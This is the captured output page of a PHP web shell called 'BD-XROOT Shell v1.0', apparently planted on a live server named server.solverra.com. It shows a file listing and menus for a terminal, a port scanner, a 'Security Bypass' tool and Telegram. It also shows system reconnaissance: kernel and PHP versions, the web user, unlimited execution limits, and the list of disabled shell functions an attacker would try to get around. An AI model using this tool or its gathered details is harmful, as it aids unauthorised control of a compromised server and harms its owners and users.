BD-XROOT Shell v1.0

OS: Linux 5.15.0-46-generic #49-Ubuntu SMP Thu Aug 4 18:03:25 UTC 2022 PHP: 7.4.33 Server: Apache User: www IP: 127.0.0.1
?? File Manager
?? Terminal
?? System Info
??? Database
?? Network
?? Bypass
Name Type Size Permissions Modified Actions
?? Parent Directory
?? Files
?? .gitkeep GITKEEP 0 B rw-r--r-- 2026-04-15 09:26
?? Screenshot 2026-03-06 103837.png PNG 41.1 KB rw-r--r-- 2026-04-13 02:29
?? Screenshot 2026-03-06 105250.png PNG 31.4 KB rw-r--r-- 2026-04-13 02:29
?? Screenshot 2026-03-06 134239.png PNG 48 KB rw-r--r-- 2026-04-13 02:29
?? Screenshot 2026-03-06 134401.png PNG 46.4 KB rw-r--r-- 2026-04-13 02:29
?? Screenshot 2026-03-06 134547.png PNG 47.1 KB rw-r--r-- 2026-04-13 02:29
?? Screenshot 2026-03-08 114850.png PNG 37.1 KB rw-r--r-- 2026-04-13 02:29
?? Screenshot 2026-03-08 120252.png PNG 42.2 KB rw-r--r-- 2026-04-13 02:29
?? Screenshot 2026-03-08 123922.png PNG 42.1 KB rw-r--r-- 2026-04-13 02:29
?? Screenshot 2026-03-08 171744.png PNG 48.8 KB rw-r--r-- 2026-04-13 02:29
?? Screenshot 2026-03-09 084406.png PNG 39.4 KB rw-r--r-- 2026-04-13 02:29
?? Screenshot 2026-03-09 111017.png PNG 16.9 KB rw-r--r-- 2026-04-13 02:29
?? Screenshot 2026-03-09 112358.png PNG 45.9 KB rw-r--r-- 2026-04-13 02:29
?? Screenshot 2026-03-09 112837.png PNG 49.5 KB rw-r--r-- 2026-04-13 02:29
?? Screenshot 2026-03-09 121532.png PNG 27.3 KB rw-r--r-- 2026-04-13 02:29
?? Screenshot 2026-03-09 134249.png PNG 43 KB rw-r--r-- 2026-04-13 02:29

??? System Information

Operating System Linux 5.15.0-46-generic #49-Ubuntu SMP Thu Aug 4 18:03:25 UTC 2022
Hostname server.solverra.com
User www
Server IP 127.0.0.1
Server Port 443

?? PHP Configuration

PHP Version 7.4.33
Server Software Apache
Safe Mode Off
Open Basedir None
Disabled Functions passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

?? Disk Usage

Total Space 147.55 GB
Used Space 61.38 GB
Free Space 86.17 GB
Usage 41.6%

?? PHP Limits

Memory Limit -1
Max Execution Time 0s
Upload Max Filesize 50M
Post Max Size 256M

?? Extensions

MySQL Available
cURL 7.70.0
Allow URL Fopen On
Allow URL Include Off

Database Connection

Port Scanner

Security Bypass

Telegram